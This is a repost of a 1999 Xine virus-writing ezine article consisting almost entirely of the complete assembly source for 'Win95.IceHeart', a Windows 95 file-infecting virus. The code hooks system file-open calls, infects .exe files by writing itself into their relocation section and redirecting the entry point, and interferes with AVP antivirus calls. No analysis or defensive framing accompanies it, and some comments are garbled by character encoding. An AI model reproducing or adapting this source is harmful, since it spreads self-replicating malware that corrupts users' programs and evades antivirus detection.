Xine - issue #4 - Phile 210

eZine lover (@eZine)

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Xine

 · 7 months ago

 
                                        /-----------------------------\ 
                                        | Xine - issue #4 - Phile 210 | 
                                        \-----------------------------/ 

 
;last review 29.06.1999 

;"—â® ­¨ âà®­ì - ¢á¥ «¥¤..." 
;Win95.IceHeart v1.5 
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX 
jumps 
.386 
.model flat,stdcall 

extrn		 ExitProcess:PROC 
.code 
start: 
_start: 
	cld 
	call _Next 
_Next: 
	pop esi 
	sub esi,offset _Next 
	push ebp 
	cmp byte ptr [esp+3+4],0BFh 
	jne _ExitNow;NT 
	mov ebp,_krnl_begin+178h+0Ch-40 
_DoSearchSection: 
	add ebp,40 
	mov edx,[ebp];first rva 
	test edx,edx 
	jz _ExitNow 
	cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr 
	jne _DoSearchSection 
	mov eax,[ebp+0Ch+40-0Ch];second rva 
	mov ebx,eax 
	sub eax,edx;rva delta 
	sub eax,[ebp+8-0Ch];virtual size 
	cmp ah,(virlen_in_mem/256)+1 
	jb _DoSearchSection 
        ;in ebx second rva 
	;in edx virtual size 
_SectionForUs: 
	sub ebx,eax 
	lea edi,[_krnl_begin+ebx] 

	lea ebp,[edi+offset _SecondStart-offset _start] 
	pusha 
	lea esi,[esi+offset _start] 

_ResidencyCheck: 
	xor ecx,ecx 
	cmp byte ptr [edi],cl 
	jne _ExitNow2 
	mov ch,(virlen_in_mem/256)+1 
	rep movsb 
	call ebp 
_ExitNow2: 
	popa 
_ExitNow: 
	pop ebp 
	jmp dword ptr [offset _old_eip+esi] 

_SecondStart: 
	mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah] 
	sub ebp,offset _SecondStart 
	lea edi,[offset _old_vxd_call+ebp] 
	push esi 
	movsd 
	movsw 
	lea eax,[ebp+offset _Handler] 
	pop edi 
	stosd 
	mov ax,cs 
	stosw 
_InitSomeVars: 
	mov dword ptr [offset _RelocFix+ebp+1],ebp 
	lea eax,[offset _old_vxd_call+ebp] 
	mov dword ptr [ebp+offset _JmpFword+2],eax 
	retn 

_Handler: 
	pusha 
_RelocFix: 
	mov ebp,11223344h 
_CheckBusyFlag: 
	lea ecx,[offset _busy_flag+ebp] 
	xor edx,edx 
	cmp byte ptr [ecx],dl 
	jne _Exit_Handler 
	mov dl,0C0h 
	cmp eax,2A0040h;id of DeviceIoControl 
	jne _CheckInt21Call 
_CheckAvpCalls: 
	cmp word ptr [edx+esp+2],22h 
	jne _Exit_Handler 
	not dword ptr [edx+esp];i think, avp likes api code,like this ;) 
	 
_CheckInt21Call: 
	cmp eax,2A0010h;calling int 21h ? 
	jne _Exit_Handler 
	cmp word ptr [esp+44],716Ch;openfile ? 
	je _Infect_It 

_Exit_Handler: 
	popa 
_JmpFword: 
	jmp fword ptr ds:[offset _old_vxd_call] 

_Infect_It: 
	 
	not byte ptr [ecx] 
	mov edi,esi 
	xor eax,eax 
	cld 
	push ecx 
	 
	push eax 

	mov ecx,esp 
	repnz scasb 
	pop ecx 

	mov eax,dword ptr [edi-5] 
	or eax,20202000h 
	cmp eax,'exe.' 
;	cmp eax,'eci.' 
	 

	jne _ExitInfector 
_InfectFile: 
	xor byte ptr [offset _Name+4+ebp],13 
	 
_AllocStack: 
	mov ch,4;1024 
	sub esp,ecx 
	push ecx 
_OpenFile: 
	xor edi,edi 
	xor eax,eax 
	cdq 

	inc edx 
	mov ebx,edx 
	inc ebx 
	mov ax,716Ch 
	call _Int21h 
	xchg eax,ebx 
	jc _FreeStack 
	mov ah,3Fh 
	call _Process_1024b 
	cmp ecx,eax 
	jne _CloseJmp 
	mov eax,[edi+3Ch] 
	shr ecx,1 
	cmp eax,ecx 
	jae _CloseJmp 
	add edi,eax 
	mov eax,[edi] 
	inc eax;heuristics sucks 
	cmp ax,'EP'+1;sign 
	jne _CloseJmp 
	cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size 
	je _CloseJmp 
_CheckAlreadyInfected: 

 
	cmp byte ptr [edi+1Ah],al 
	je _CloseJmp 
	mov byte ptr [edi+1Ah],al 
	test byte ptr [edi+23],22h;dll or fixed image 
	jne _CloseJmp 
	mov byte ptr [edi+23],0;strip reloc 
	mov edx,dword ptr [edi+160];fixup section 
	test edx,edx 
	je _CloseJmp 
	push edx 
	xchg dword ptr [edi+40],edx;entry point 
	add edx,dword ptr [edi+48+4];image base 
	mov dword ptr [offset _old_eip+ebp],edx 
	pop edx 

_AnalyzePlaceInFixupArea: 

	mov ecx,[edi+6] 
	lea esi,[edi+0F8h+12];rva 

_DoAnalyzeSections: 
	lodsd 
	cmp eax,edx;search section with rva=fixup rva 
	je _OkiFixupOur 
	add esi,40-4 
	loop _DoAnalyzeSections 
_CloseJmp: 
	jmp _Close 
_OkiFixupOur: 
	lodsd;phys size 
	mov edx,virlen 
	cmp eax,edx 
	jb _CloseJmp 
	mov dword ptr [esi-12],edx 
	push edx 
	lodsd;phyz ofs 

 
_Int21CallOptimization: 
        lea esi,[ebp+offset _Int21h] 
	 

_SeekToEnd: 

	push eax 
	pop dx 
	pop cx 
	mov ax,4200h 
	call esi 

_WriteSelf: 
	mov ah,40h 
	lea edx,[ebp+offset _start] 
	pop ecx 
	call esi 

_WriteHeader: 
	xor eax,eax 
	mov ah,42h 
	cdq 
	call esi 

	mov ah,40h 
	call _Process_1024b 

_Close: 
	mov ah,3Eh 
	call _Int21h 

_FreeStack: 
	pop ecx 
	add esp,ecx 

_ExitInfector: 
	pop ecx 
	not byte ptr [ecx] 
	jmp _Exit_Handler 

 
_Process_1024b: 
	lea edi,[esp+4+4] 
	xor ecx,ecx 
	mov ch,4;1024 
	mov edx,edi 
_Int21h: 
	push ecx 
	push ebp 
	push ecx eax 
	push 2A0010h 
	mov ebp,_krnl_begin+_1st_export 
	call ebp 
	pop ebp 
	pop ecx 
	retn 

 

 
_Name	db 'Win95.iCE-hEART',0 
_Msg	db ' â èª , ï â¥¡ï ¡¥§ã¬­® «î¡«î !',0 

_old_eip      dd offset ExitProcess 
virlen equ $-offset start 
_old_vxd_call db 6 dup ('') 
_busy_flag    db '' 
virlen_in_mem equ $-offset start 

ends 

.data 
		 db 13,10 

_krnl_begin equ 0BFF70000h 
_1st_export equ 13D4h 
end start